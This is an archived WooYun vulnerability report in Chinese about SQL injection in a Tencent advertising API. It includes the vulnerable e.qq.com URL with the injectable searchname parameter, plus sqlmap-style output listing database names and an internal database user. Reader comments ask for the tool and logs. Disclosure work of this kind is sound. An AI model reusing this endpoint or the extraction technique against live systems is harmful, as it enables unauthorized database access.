当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-086515

漏洞标题：腾讯某分站存在SQL注入漏洞

相关厂商：腾讯

漏洞作者： Jannock

提交时间：2014-12-09 14:48

修复时间：2015-01-28 17:30

公开时间：2015-01-28 17:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-09： 该漏洞正等待厂商内部评估
2014-12-09： 厂商已经确认，与白帽子共同解决该漏洞中，漏洞信息仅向厂商公开
2014-12-29： 细节向核心白帽子及相关领域专家公开
2015-01-08： 细节向普通白帽子公开
2015-01-18： 细节向实习白帽子公开
2015-01-28： 细节向公众公开

简要描述：

某持续监控神器发现腾讯某站点新功能，某功能存在多处SQL注射漏洞。

详细说明：

http://e.qq.com/ec/api.php?mod=report&act=adgroup&g_tk=991968923&d_p=0.36786074754056486&datetype=1&format=json&page=1&pagesize=20&sdate=2014-12-09&edate=2014-12-09&status=&fastdate=custom&searchtype=&searchname=&reportonly=0&product_type=&product_id=&campaignid=256945&callback=_Callback&owner=******
多处地方 searchname 存在SQL注入。
太多数据库就不跑了，至于怎样绕过WAF，你们自己看日志好了。。

漏洞证明：

back-end DBMS: MySQL >= 5.0.0
[14:38:34] [INFO] fetching database names
[14:38:34] [INFO] fetching number of databases
[14:38:34] [INFO] retrieved: 903
[14:38:38] [INFO] retrieving the length of query output
[14:38:38] [INFO] retrieved: 18
[14:38:47] [INFO] retrieved: information_schema             
[14:38:47] [INFO] retrieving the length of query output
[14:38:47] [INFO] retrieved: 7
[14:38:52] [INFO] retrieved: AP_Ad_0           
[14:38:52] [INFO] retrieving the length of query output
[14:38:52] [INFO] retrieved: 7
[14:38:57] [INFO] retrieved: AP_Ad_1           
[14:38:57] [INFO] retrieving the length of query output
[14:38:57] [INFO] retrieved: 8
[14:39:02] [INFO] retrieved: AP_Ad_10           
[14:39:02] [INFO] retrieving the length of query output
[14:39:02] [INFO] retrieved: 8
[14:39:08] [INFO] retrieved: AP_Ad_11           
[14:39:08] [INFO] retrieving the length of query output
[14:39:08] [INFO] retrieved: 8
[14:39:13] [INFO] retrieved: AP_Ad_12           
[14:39:13] [INFO] retrieving the length of query output
[14:39:13] [INFO] retrieved: 8
[14:39:18] [INFO] retrieved: AP_Ad_13           
[14:39:18] [INFO] retrieving the length of query output
[14:39:18] [INFO] retrieved: 8
[14:39:23] [INFO] retrieved: AP_Ad_14           
[14:39:23] [INFO] retrieving the length of query output
[14:39:23] [INFO] retrieved: ^C
[14:39:24] [ERROR] user aborted


[14:42:55] [INFO] fetching current user
[14:42:55] [INFO] retrieving the length of query output
[14:42:55] [INFO] retrieved: 23
[14:43:05] [INFO] retrieved: user_qzone@10.198.10.95             
current user:    'user_qzone@10.198.10.95'

修复方案：

过滤

版权声明：转载请注明来源 Jannock@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-12-09 17:28

厂商回复：

非常感谢您的报告。这个问题我们已经确认，正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-01-28 17:35 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    注入$$$

  2. 2015-01-28 17:51 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    $$$

  3. 2015-01-28 18:19 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    这怎么能3个$?????

  4. 2015-01-28 18:22 | 木马游民 ( 路人 | Rank:17 漏洞数:8 | I love LSD!)

    最近有神器的人好多

  5. 2015-01-28 19:27 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名，可我没猜出密码。)

    至于怎样绕过WAF，你们自己看日志好了。。

  6. 2015-01-28 19:44 | tpp ( 路人 | Rank:0 漏洞数:1 | 业余科研)

    至于怎样绕过WAF，你们自己看日志好了。。

  7. 2015-01-28 22:07 | 小飞侠 ( 路人 | Rank:4 漏洞数:2 | 好好学习，天天向上)

    到底用的啥神器啊

  8. 2015-01-29 08:53 | 撸鸡鸡 ( 路人 | Rank:4 漏洞数:2 | 舔咪咪，你笑着舔咪咪！)

    求神器~~~

  9. 2015-01-29 09:33 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    求日志 - - ！

  10. 2015-02-20 22:22 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1：5 无限量收 [平台担保]))

    求日志 - - ！

  11. 2015-03-27 10:19 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    我们看不到日志啊！一哥……